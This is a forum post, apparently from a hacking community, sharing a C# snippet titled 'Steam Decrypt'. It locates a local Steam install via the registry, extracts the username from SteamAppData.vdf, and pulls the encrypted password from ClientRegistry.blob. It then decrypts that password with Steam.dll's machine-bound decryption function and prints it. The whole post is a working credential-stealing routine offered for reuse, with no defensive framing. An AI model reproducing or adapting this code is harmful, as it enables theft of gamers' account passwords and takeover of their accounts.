Jump to content
Gonzalez

[C#] Steam Decrypt

Recommended Posts

// steam decrypt //
// snippet by t0fx & lolita //
// give credits //
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Text;
using Microsoft.Win32;

namespace steam_decrypt
{
class Program
{
[DllImport("Steam.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern int SteamDecryptDataForThisMachine(string encryptedData, int encryptedDataSize, StringBuilder decryptedBuffer, int decryptedBufferSize, ref int decryptedDataSize);
static void Main(string[] args)
{


try
{
RegistryKey rksteam = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Valve\\Steam", true);
if (rksteam != null)
{
string steaMpath = (string)rksteam.GetValue("SteamPath");
if (File.Exists(Environment.CurrentDirectory + "\\Steam.dll") == false)
{
File.Copy(steaMpath + "\\Steam.dll", Environment.CurrentDirectory + "\\Steam.dll", true);
}
string[] data = File.ReadAllLines(steaMpath + "\\config\\SteamAppData.vdf");
for (int pos = 0; pos < data.Length; pos++)
{
if (data[pos].Contains("User"))
{
string[] info = System.Text.RegularExpressions.Regex.Replace(data[pos], @"\s+", " ").Split(' ');
if (info[2] != null)
{
string username = info[2].TrimEnd('"').TrimStart('"');
Console.WriteLine("Username : " + username);
}
}
}
string sInhalt = File.ReadAllText(steaMpath + "\\ClientRegistry.blob");
int Phrase;
Phrase = sInhalt.IndexOf("Phrase", 1);

sInhalt = Mid(sInhalt, Phrase + 40);

string encpwd = Left(sInhalt, 92).Trim();
int decryptedDataSize = 0;
StringBuilder pwd = new StringBuilder();
pwd.Length = encpwd.Length / 2;
if (SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, ref decryptedDataSize) == 0)
{
Console.WriteLine("Password : " + pwd);
}
else
{
Console.WriteLine("error : Error decrypting the Steam Password.");
}
}
Console.ReadLine();
}


catch (Exception g)
{
try
{
const string steaMpath = ("@C:\\Program Files\\Steam");
File.Copy(steaMpath + "\\Steam.dll", Environment.CurrentDirectory + "\\Steam.dll", true);
string[] data = File.ReadAllLines(steaMpath + "\\config\\SteamAppData.vdf");
for (int pos = 0; pos < data.Length; pos++)
{
if (data[pos].Contains("User"))
{
string[] info = System.Text.RegularExpressions.Regex.Replace(data[pos], @"\s+", " ").Split(' ');
if (info[2] != null)
{
string username = info[2].TrimEnd('"').TrimStart('"');
Console.WriteLine("Username : " + username);
}
}
}
string sInhalt = File.ReadAllText(steaMpath + "\\ClientRegistry.blob");
int Phrase;
Phrase = sInhalt.IndexOf("Phrase", 1);

sInhalt = Mid(sInhalt, Phrase + 40);

string encpwd = Left(sInhalt, 92).Trim();
int decryptedDataSize = 0;
StringBuilder pwd = new StringBuilder();
pwd.Length = encpwd.Length / 2;
if (SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, ref decryptedDataSize) == 0)
{
Console.WriteLine("Password : " + pwd);
}
else
{
Console.WriteLine("Error decrypting the Steam Password.");
}
Console.ReadLine();
}


catch (Exception h)
{
Console.WriteLine("Steam not installed or password not stored");
}
}
}



public static string Left(string param, int length)
{
string result = param.Substring(0, length);
return result;
}
public static string Mid(string param, int startIndex)
{
string result = param.Substring(startIndex);
return result;
}

}
}

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...